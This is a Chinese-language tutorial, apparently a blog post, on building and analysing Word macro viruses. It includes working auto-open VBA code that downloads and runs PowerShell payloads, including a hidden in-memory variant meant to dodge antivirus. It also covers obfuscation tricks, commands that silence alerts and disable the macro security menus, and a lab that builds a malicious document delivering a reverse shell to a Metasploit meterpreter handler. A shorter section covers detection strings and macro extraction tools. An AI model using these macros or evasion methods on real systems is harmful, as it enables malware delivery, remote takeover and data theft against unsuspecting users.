宏病毒是一种寄存在文档或模板的宏中的计算机病毒。一旦打开这样的文档,其中的宏就会被执行,于是宏病毒就会被激活,转移到计算机上,并驻留在Normal模板上。从此以后,所有自动保存的文档都会“感染”上这种宏病毒,而且如果其他用户打开了感染病毒的文档,宏病毒又会转移到他的计算机上。
不过现在大多数宏病毒并没有感染模块,更多的是作为木马感染的第一环操作。一旦用户打开含有宏病毒的文档,其中的宏病毒就会被执行,释放并激活恶意软件。
1 宏病毒基础
1.1 宏
宏(Macro),是一种批量处理的称谓。就是把一些命令组织在一起,作为一个单独的命令完成一个特定任务。Microsoft Word中对宏定义为:“宏就是能组织到一起作为一独立的命令使用的一系列word命令,它能使日常工作变得更容易”。Word使用宏语言Visual Basic将宏作为一系列指令来编写。Excel办公软件自动集成“VBA”高级程序语言,用此语言编制出的程序就叫“宏”。使用“VBA”需要有一定的编程基础,并且还会耗费大量的时间,因此,绝大多数的使用者仅使用了Excel的一般录制功能,很少真正的使用到“VBA”。
所以,宏可以看做命令的集合。而宏病毒,则是用宏编写的病毒。
1.2 VBA
VBA(Visual Basic for Applications)是Visual Basic的一种宏语言,是在其桌面应用程序中执行通用的自动化(OLE)任务的编程语言。主要能用来扩展Windows的应用程序功能,特别是Microsoft Office软件。它也可说是一种应用程式视觉化的 Basic 脚本。VB与VBA区别如下:
- VB是设计用于创建标准的应用程序,而VBA是使已有的应用程序(EXCEL等)自动化。
- VB具有自己的开发环境,而VBA必须寄生于已有的应用程序。
- 要运行VB开发的应用程序,用户不必安装VB,因为VB开发出的应用程序是可执行文件(*.EXE),而VBA开发的程序必须依赖于它的父应用程序,例如EXCEL。
- VBA是VB的一个子集。
- VBA一个关键特征是你所学的知识在微软的一些产品中可以相互转化。
- VBA可以称作EXCEL的“遥控器”。
在OFFICE中,使用ALT+F11即可打开VBA编辑器。一个简单的宏如下:
Sub autoopen()
MsgBox "Hello World!" '单引号为注释符,autoopen()为预定义的子程序,一旦打开文件自动执行子程序内容
End Sub
1.3 宏安全机制
以doc文件为例,一般来说office都是默认禁用宏的,这一步可以通过文件-选项-信任中心看到。
打开这样的文件,如果包含宏,会出现提示信息:
需要注意的是,Office 2007和Word2003以及之前版本保存的文档格式是不同的。word2003文档格式为:doc,xls等。以word为例,Office 2007及以上版本格式新增为4种:
.docx——一种不包含宏的普通文档
.docm——一种包含宏或启用了宏的文档
.dotx——一种不包含宏的模板
.dotm——一种包含宏或启用了宏的模板
相对于Word 2003来说,Office 2007除了性能的提升外,更加注重安全性,将包含宏的文档与不包含宏的文档区分开,其图标也有所不同。所以一般宏病毒使用的文档都为2003版本,如doc,xls。
2 简单的宏病毒
2.1 下载执行
对于宏病毒来说,一般都具有文件下载功能,无论是下载恶意软件还是指令信息。以下VBA代码是实现恶意文件下载并执行的一种方式,这里的恶意程序为powershell脚本。关于下载部分使用Microsoft.XMLHTTP对象进行下载,使用Adodb.Stream对象进行文件读写。调用Shell执行powershell脚本。逻辑如下:
Sub autoopen()
Dim URL As String
Dim file As String
URL = "http://127.0.0.1/cat.txt"
file = "virus.ps1"
'使用Microsoft.XMLHTTP对象获取文件内容
Dim xHttp As Object
Set xHttp = CreateObject("Microsoft.XMLHTTP")
xHttp.Open "GET", URL, False
xHttp.send
'保存内容到文件
Set outStream = CreateObject("Adodb.Stream")
outStream.Open
outStream.Type = 1
outStream.Write xHttp.responseBody
outStream.SaveToFile file, 2 ' 1 = no overwrite, 2 = overwrite
outStream.Close
'还可以给文件设置只读、隐藏、系统属性
'SetAttr file, vbReadOnly + vbHidden + vbSystem
'调用powershell执行脚本,注意cmd /c参数表示运行完毕后关闭窗口
Shell ("cmd /c powershell.exe -ExecutionPolicy bypass -file virus.ps1")
End Sub
当然也可以直接使用powershell进行下载并执行恶意脚本:
Sub autoopen()
Dim cmd As String
cmd = "cmd /c powerShell.exe (new-object System.Net.WebClient).DownloadFile('http://192.168.31.156/cat.txt','%temp%/evil.ps1');powershell.exe -ExecutionPolicy bypass -file %temp%\evil.ps1"
Shell cmd
End Sub
以上两种文件下载方式恶意软件都需要落地,还可以使用powershell直接将恶意脚本写入内存执行,以防范AV检查:
Sub autoopen()
Dim cmd As String
cmd = "cmd /c powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.31.156/cat.txt'))"
Shell cmd
End Sub
当然还有许多将文件下载到本地的方法,例如certutil等。
详情见链接: Windows文件下载执行的15种姿势
注: 一些powershell知识
指令 | 说明 |
---|---|
-ExecutionPolicy bypass | 设置执行策略: Bypass为没有任何限制和提示 |
-File ./evil.ps1 | 运行ps脚本文件 |
IEX | 用来把字符串当作命令执行 |
-w Hidden | 隐藏窗口 |
-nop | PowerShell控制台不加载当前用户的配置文件 |
-c | 运行命令 |
除了调用VBA的API如:Shell( )、CallWindowProc( )执行命令外。包括现在流行的powershell进行命令执行在内,还存在其它的调用外部例程方式,如下表所示:
对象 | 说明 |
---|---|
MSXML2.ServerXMLHTTP | Xmlhttp是一种浏览器对象, 可用于模拟http的GET和POST请求(Microsoft.XMLHTTP已经不提倡使用了) |
Adodb.Stream | Stream 流对象用于表示数据流。配合XMLHTTP服务使用Stream对象可以从网站上下载各种可执行程序 |
Wscript.shell | WScript.Shell是WshShell对象的ProgID,创建WshShell对象可以运行程序、操作注册表、创建快捷方式、访问系统文件夹、管理环境变量。 |
Application.Run | 调用该函数,可以运行.exe文件 |
WMI | 用户可以利用 WMI 管理计算机,在宏病毒中主要通过winmgmts:\\.\root\CIMV2隐藏启动进程 |
Shell.Application | 能够执行sehll命令 |
2.2 混淆绕过
在与杀软与反病毒工作者的对抗中,宏病毒一般采用混淆加密的方式隐藏代码,以此躲避杀软查杀并且增加反病毒工作者分析难度。一般有以下几种方式。
2.2.1 Chr() 函数
Chr(),返回以数值表达式值为编码的字符,也就是将字符的ASCII码解析为字符。使用Chr函数是最常见的字符串隐写技术,利用ascii码,逃避字符串扫描。
示例:Nrh1INh1S5hGed = “h” & Chr(116) & Chr(61) & “t” & Chr(112)
除了Chr()函数,还可以利用表达式和相关数学函数,增加技术人员的分析难度:
Ndjs = Sgn(Asc(317 – 433) + 105)
ATTH = Chr(Ndjs) + Chr(Ndjs + 12) + Chr(Ndjs + 12) + Chr(Ndjs + 8)
经过分析发现,上述代码的字符串是:“http://”。
2.2.2 Replace() 函数
Replace函数的作用就是替换字符串,返回一个新字符串,其中某个指定的子串被另一个子串替换。
该函数通常可以配合Chr()函数使用,将多余的字符去除掉,得到真正有意义的字符串。
2.2.3 CallByname() 函数
CallByname函数允许使用一个字符串在运行时指定一个属性或方法。CallByName 函数的用法如下:
Result = CallByName(Object, ProcedureName, CallType, Arguments())
CallByName 的第一个参数包含要对其执行动作的对象名。第二个参数,ProcedureName,是一个字符串,包含将要调用的方法或属性过程名。CallType 参数包含一个常数,代表要调用的过程的类型:方法 (vbMethod)、property let (vbLet)、property get (vbGet),或 property set (vbSet)。最后一个参数是可选的,它包含一个变量数组,数组中包含该过程的参数。
例如:CallByName Text1, “Move”, vbMethod, 100, 10就相当于执行Text1.Move(100,10)。这种隐藏的函数执行增加了分析的难度。
CallByName的作用不仅仅在此,在下面的这个例子中,利用callByName,可以用脚本控制控件:
Dim obj As Object
Set obj = Me
Set obj = CallByName(obj, "Text1", VbGet)
Set obj = CallByName(obj, "Font", VbGet)
CallByName obj, "Size", VbLet, 50
'以上代码="Me.Text1.Font.Size = 50"
Dim obj As Object
Dim V As String
Set obj = Me
Set obj = CallByName(obj, "Text1", VbGet)
Set obj = CallByName(obj, "Font", VbGet)
V = CallByName(obj, "Size", VbGet)
'以上代码="V = Me.Text1.Font.Size"
2.2.4 Alias替换函数名
Alias子句是一个可选的部分,用户可以通过它所标识的别名对动态库中的函数进行引用。
Public Declare Function clothed Lib “user32″ Alias “GetUpdateRect” (prestigiation As Long, knightia As Long, otoscope As Long) As Boolean
如上例所示,clothed作为GetUpdateRect的别名,调用clothed函数相当于调用user32库里的GetUpdateRect函数。
事实上喜欢使用别名的不仅仅是宏病毒制造者,普通的宏程序员也喜欢使用别名。使用别名的好处是比较明显的,一方面Visual Basic不允许调用以下划线为前缀的函数,然而在Win32 API函数中有大量C开发的函数可能以下划线开始。使用别名可以绕过这个限制。另外使用别名有利于用户命名标准统一。对于一些大小写敏感的函数名,使用别名可以改变函数的大小写。
2.2.5 利用窗体、控件隐藏信息
控件在宏程序里很常见,有些宏病毒的制造者们便想到利用控件隐藏危险字符串。
如图所示,空间里存放着关键字符串,程序用到上述字符串时,只需要调用标签控件的caption属性。控件的各个属性(name、caption、controtiptext、等)都可以成为危险字符串的藏身之所。而仅仅查看宏代码,分析者无法得知这些字符串内容,分析者必须进入编辑器查看窗体属性,这大大增加了分析的难度。
2.2.6 利用文件属性
这种方式和利用窗体属性的方式类似,就是将一切能存储数据的地方利用起来。
如图所示读取的是ActiveDocument.BuiltinDocumentProperties Comments的数据,实际上就是文件备注信息里的数据,将这里的数据Base64解密并执行。
2.3 隐秘执行
宏病毒通过阻止弹出各类提示,防止用户发现宏正在运行来实现自我隐藏。
常用指令如下表:
指令 | 含义 |
---|---|
On Error Resume Next | 如果发生错误,不弹出错误对话框 |
Application.DisplayStatusBar = False | 不显示状态栏,避免显示宏的运行状态 |
Options.SaveNormalPrompt = False | 修改公用模板时在后台自动保存,不给任何提示 |
EnableCancelKey = wdCancelDisabled | 使不可以通过ESC键取消正在执行的宏 |
Application.ScreenUpdating = 0 | 不让屏幕更新,让病毒执行时不影响计算机速度 |
Application.DisplayAlerts = wdAlertsNone | 不让Excel弹出报警信息 |
CommandBars(“Tools”).Controls(“Macro”).Enabled = 0 | 屏蔽工具菜单中的“宏”按钮 |
CommandBars(“Macro”).Controls(“Security”).Enabled = 0 | 屏蔽宏菜单的“安全性” |
CommandBars(“Macro”).Controls(“Macros”).Enabled = 0 | 屏蔽宏菜单的“宏” |
CommandBars(“Tools”).Controls(“Customize”).Enabled = 0 | 屏蔽工具菜单的“自定义” |
CommandBars(“View”).Controls(“Toolbars”).Enabled = 0 | 屏蔽视图宏菜单的“工具栏” |
CommandBars(“format”).Controls(“Object”).Enabled = 0 | 屏蔽格式菜单的“对象” |
2.4 VBA加密
通常病毒制作者不想要其他人看到宏内容,往往会对工程进行加密,加密方式如下:
VBA工程-工具-Project属性-保护
一般来说可以使用破解工具打开,如VBA_Password_Bypasser工具等
当然也可以手动进行破解: https://blog.csdn.net/wangtiankuo/article/details/89520358
2.5 防御手段
2.5.1 危险字符串
以下表格中字符串经常被宏病毒所使用
字符串 | 功能 |
---|---|
http | URL连接 |
CallByName | 允许使用一个字符串在运行时指定一个属性或方法,许多宏病毒使用CallByName执行危险函数 |
Powershell | 可以执行脚本,运行.exe文件,可以执行base64的命令 |
Winmgmts | WinMgmt.exe是Windows管理服务,可以创建windows管理脚本 |
Wscript | 可以执行脚本命令 |
Shell | 可以执行脚本命令 |
Environment | 宏病毒用于获取系统环境变量 |
Adodb.stream | 用于处理二进制数据流或文本流 |
Savetofile | 结合Adodb.stream用于文件修改后保存 |
MSXML2 | 能够启动网络服务 |
XMLHTTP | 能够启动网络服务 |
Application.Run | 可以运行.exe文件 |
Download | 文件下载 |
Write | 文件写入 |
Get | http中get请求 |
Post | http中post请求 |
Response | http中认识response回复 |
Net | 网络服务 |
WebClient | 网络服务 |
Temp | 常被宏病毒用于获取临时文件夹 |
Process | 启动进程 |
Cmd | 执行控制台命令 |
createObject | 宏病毒常用于创建进行危险行为的对象 |
Comspec | %ComSpec%一般指向你cmd.exe的路径 |
2.5.2 禁用宏
这个方法一度被认为能防住所有的宏病毒,但是总会有0day能够绕过宏防护,禁用宏对于利用漏洞绕过宏禁用功能的宏病毒,仍然无能为力。而且禁用宏功能还有两个很大的缺陷:一是它拒绝了一切的宏执行,并不区分正常的宏和还是病毒宏,这会造成某些文档无法打开或出错;二是宏病毒防护无法阻止启动word时Autoexec.DOT中的宏和Normal.DOT中的宏自动执行。
2.5.3 越过自动宏
如果怀疑文档中存在宏病毒,可以在Office打开文档的时候,始终按住Shift键,将禁止存在的一起自动宏。这和禁用宏有异曲同工之妙,Shift键可以在退出时禁止任何AutoClose宏。这种方法的缺陷也很明显,它只能对付一时,当宏病毒利用其它菜单选项来实现破坏活动,这种方法就不再有效。
2.5.4 宏提取
先启用宏,然后打开VBA编辑器分析宏代码,不仅可以直观的看到宏代码,还可以动态调试。但是,我们选择启用宏后,宏代码就会运行,如果存在恶意行为,恶意行为就会执行。这样的分析方式存在一定的风险。
所以可以在不执行宏的基础上将宏代码提取出来。我们可以使用oledump工具。
oledump.py(https://github.com/decalage2/oledump-contrib)。
oledump.py是一个用于分析OLE文件(复合文件二进制格式)的程序,我们可以使用它提取文档中的宏代码。不过由于是python2编写的,如果不太方便,可以使用OfficeMalScanner工具。
下载地址: OfficeMalScanner
使用方法: OfficeMalScanner evil.doc info 即可将宏提取出。
3 宏病毒实践
本过程模拟用户点击带有宏病毒的word文档,下载powershell 反弹shell,连接远程服务器。
C&C | 192.168.31.188 | 等待连接 |
---|---|---|
Supplier | 192.168.31.156 | 提供payload |
Victim | 192.168.31.14 | 受害者 |
3.1 制作带宏word文档
虽然有很多宏病毒生成工具,但在这里我们还是使用第二小节使用的代码。
Sub autoopen()
Dim cmd As String
cmd = "cmd /c powershell.exe -ExecutionPolicy bypass -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.31.156/payload.txt'))"
Shell cmd
End Sub
3.2 制作恶意payload
这里使用社会工程学工具集Social-Engineer Toolkit 生成powershell反向马
GitHub: SET
在~/.set/reports/powershell目录下将payload移动到服务器www目录
启用Apache:
3.3 C&C监听
启用msf,输入以下命令:
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 192.168.31.188
set LPORT 8848
run
3.4 受害者打开word文档
参考
链接: https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=133
说明: 本文档中参考了很多该系列文章内容帮助很大,出于本人只是想对宏病毒有一个粗浅的了解,许多内容并未进行尝试,只是搬运该链接文章内容。
链接:https://www.freebuf.com/vuls/188398.html
说明: 关于第三章节宏病毒实践部分主要参考该文章